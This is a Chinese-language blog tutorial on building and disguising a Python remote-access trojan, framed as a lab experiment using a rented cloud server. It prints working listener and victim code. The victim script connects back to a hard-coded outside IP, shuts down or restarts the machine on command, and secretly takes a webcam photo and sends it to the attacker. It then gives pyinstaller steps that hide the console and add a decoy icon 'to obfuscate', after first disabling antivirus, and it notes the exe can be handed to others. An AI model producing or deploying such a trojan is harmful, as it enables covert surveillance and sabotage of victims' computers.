experiment-introduction
2025-07-01补:再复现该实验时出现了一个之前没有的问题,该木马现在疑似需要在被攻击机上安装opencv,之前并不需要。

该木马可以使宿主机的电脑关机,重启,打开摄像头自拍…(更多内容待补充)
话不多说,直接上代码
如下为后台
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from socket import*
s = socket() s.bind(('0.0.0.0',8888)) s.listen(10) c,addr = s.accept() print("Connect from",addr)
print('1.2.3') choice = input('请输入选择:') c.send(choice.encode())
if choice == '3': file_size = int(c.recv(1024).decode()) c.send('ok'.encode())
with open('screenshot.jpg','wb') as file: total_size = 0 while total_size < file_size: data = c.recv(1024) file.write(data) total_size += len(data)
|
我们如果没有2台电脑要做实验可以在阿里云服务器开一个云服务器ECS试用,在上面布置一个实例
(核心思路是我们操作服务器的远程电脑来攻击自己的电脑)

这里选win server,其他默认

点进我们的实例名称,全部操作,重置实例密码
然后选中该实例,点击安全组

点击管理规则,点击手动添加

这里目的填你装后台代码的绑定的地址,源填0.0.0.0/0,然后保存

回到实例,这里看到ip地址是60.205.145.157,复制下来

然后win+r mstsc 登录,注意当时设置密码时账户名是administrator,所以要改成这个


然后就能远程连接了,把python安装包放进去,然后安装,然后把后台.py放进去

点击run

然后我们把木马.py的文件的ip地址绑定到该服务器的ip,(即发动攻击的主机的地址60.205.145.157),端口也是8888,服务器实例当时创建的端口是8888,因此木马.py和后台.py的端口地址都要改成8888
如下为木马段(记得将其中的ip改为服务器的ip):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from socket import* import os import cv2
c = socket() c.connect(('60.205.145.157',8888))
choice = c.recv(1024).decode() if choice == '1': os.system('shutdown -s -t 1') elif choice == '2': os.system('shutdown -r -t 1')
elif choice == '3': cap = cv2.VideoCapture(0) ret, frame = cap.read() ret, frame = cap.read() cv2.imwrite('camera.jpg', frame) cap.release()
file_size = os.path.getsize('camera.jpg')
c.send(str(file_size).encode()) c.recv(1024).decode()
with open('camera.jpg','rb') as file: for data in file: c.send(data)
|
然后我们把我们的木马打包成exe文件
如何打包呢
先记得关防护

然后
1 2 3 4 5 6 7 8 9 10 11
| 安装pillow py -m pip install Pillow 打开摄像头! 安装opencv-python 1.按下WIN+R键 输入cmd回车 输入pip3 install opencv-python 2.导入import cv2
1.按下WIN+R键 输入cmd回车 输入pip3 install pyinstaller 2.在文件路径中输入cmd回车 输入pyinstaller -F -w -i 321.png 木马.py
// python -m Pyinstaller -F -w -i 321.png 木马.py
|
该处321.png要和你的木马.py放在同一个目录下,目的是混淆,给该exe文件贴个图
如果返回类似C:\Users\16289\AppData\Local\Programs\Python\Python312\python.exe: No module named pyinstaller
直接输入下载的pyinstaller文件路径,后面照常,来运行,如:
C:\Users\16289\AppData\Local\Programs\Python\Python312\Scripts\pyinstaller.exe -F -w -i 321.png 木马.py

运行完后发现木马.py所在的目录下有2个包,一个dist,一个build,一个木马.spec

在dist目录下有个exe文件包,然后点击运行这个包

输入3,远程连接的实例下电脑桌面上会出现摄像头捕捉到的照片(如果包是给别人,自己当发动攻击的主机在此时dist文件夹下也会出现照片)


此时该screnshot即为拍摄到的照片